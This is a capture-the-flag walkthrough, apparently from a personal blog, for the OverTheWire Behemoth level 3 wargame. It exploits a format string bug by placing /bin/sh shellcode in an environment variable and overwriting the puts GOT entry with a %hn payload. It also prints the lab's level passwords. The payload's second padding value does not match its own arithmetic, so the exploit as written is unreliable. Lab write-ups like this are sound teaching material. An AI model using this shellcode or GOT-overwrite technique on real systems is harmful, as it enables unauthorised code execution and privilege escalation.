OverTheWire Behemoth Level 3 → 4 tutorial!!
Login
Log in as behemoth3 using the password from Level 2 → 3.
ssh behemoth3@behemoth.labs.overthewire.org -p 2221
# password: nietiediel
Task
The binary /behemoth/behemoth3
is vulnerable to a format string attack.
Our goal: exploit it to redirect execution into our shellcode and escalate to behemoth4.
A little bit of Theory
- Format string vulnerability: happens when user input is passed directly to
printf()
instead ofprintf("%s", input)
. - With
%x
, we can dump stack values. - With
%n
, we can write to arbitrary memory addresses. - By overwriting a Global Offset Table (GOT) entry (like
puts@GOT
), we can redirect program flow. - Combine with shellcode in an environment variable → we gain a shell.
Tools we’ll use:
objdump -R
→ list GOT entriesgdb
→ debugging / testing- a helper
/tmp/find_addr
→ leak env var addresses
Solution
1. Run the binary to observe behavior
cd /behemoth
./behemoth3
Identify yourself: test
Welcome, test
aaand goodbye again.
👉 Nothing suspicious at first glance. Let’s try format specifiers:
./behemoth3
Identify yourself: %x.%x.%x
Welcome, 80485c0.8048330.bffff4a8
aaand goodbye again.
Explanation: The binary printed out raw stack values. ✅ This confirms a format string bug.
2. Locate GOT entry of puts
objdump -R behemoth3 | grep puts
Output:
080497ac R_386_JUMP_SLOT puts@GLIBC_2.0
👉 GOT entry for puts
is at 0x080497ac.
If we overwrite this address with our shellcode address, when the program calls puts
, it will jump into our code.
3. Prepare shellcode in an environment variable
Classic Linux x86 execve(“/bin/sh”) shellcode:
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
20*"\x90"
→ NOP sled to increase landing zone.- The rest is the shellcode that spawns
/bin/sh
.
4. Find the runtime address of $SHELLCODE
Compile helper:
// /tmp/find_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s is at %p\n", argv[1], getenv(argv[1]));
return 0;
}
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE
Example output:
SHELLCODE is at 0xffffde75
👉 That’s the address we’ll redirect execution to.
5. Craft format string exploit
We want to overwrite 0x080497ac
with 0xffffde75
.
Trick: break it into two 16-bit chunks because %hn
writes half-words.
- Lower 2 bytes:
0xde75
(56949 decimal) - Upper 2 bytes:
0xffff
(65535 decimal)
We’ll place the GOT address twice on the stack (\xac\x97\x04\x08
and \xae\x97\x04\x08
), then use %hn
to write values in order.
Payload example:
(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)
Explanation:
- First
%hn
writes 0xde75 into lower half of GOT address. - Second
%hn
writes 0xffff into upper half. - GOT entry now points to our shellcode.
6. Trigger the exploit
If successful, when the program tries to call puts()
, it will instead jump into our $SHELLCODE
:
whoami
# behemoth4
cat /etc/behemoth_pass/behemoth4
Output:
ietheishei
🎉 That’s the next password.
Password
ietheishei
Troubleshooting
- Segfault before shell → Adjust padding values (
%xxxxxx
) until they align exactly. - Wrong GOT entry → Double-check with
objdump -R behemoth3
. - Different env address → Re-run
/tmp/find_addr SHELLCODE
, addresses shift slightly. - Forgot little endian → Always write GOT addresses as
\xac\x97\x04\x08
. - Use
%hn
not%n
→%n
writes full 32-bit, likely to crash.
Copy-paste quick run
ssh behemoth3@behemoth.labs.overthewire.org -p 2221
# 1. Set shellcode
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
# 2. Leak its address
/tmp/find_addr SHELLCODE
# Example: 0xffffde75
# 3. Exploit
cd /behemoth
(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)
# 4. Get shell & password
whoami
cat /etc/behemoth_pass/behemoth4
Congrats 🎉 You just exploited a format string bug, overwrote the GOT entry of puts
with your shellcode address, and escalated to behemoth4!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨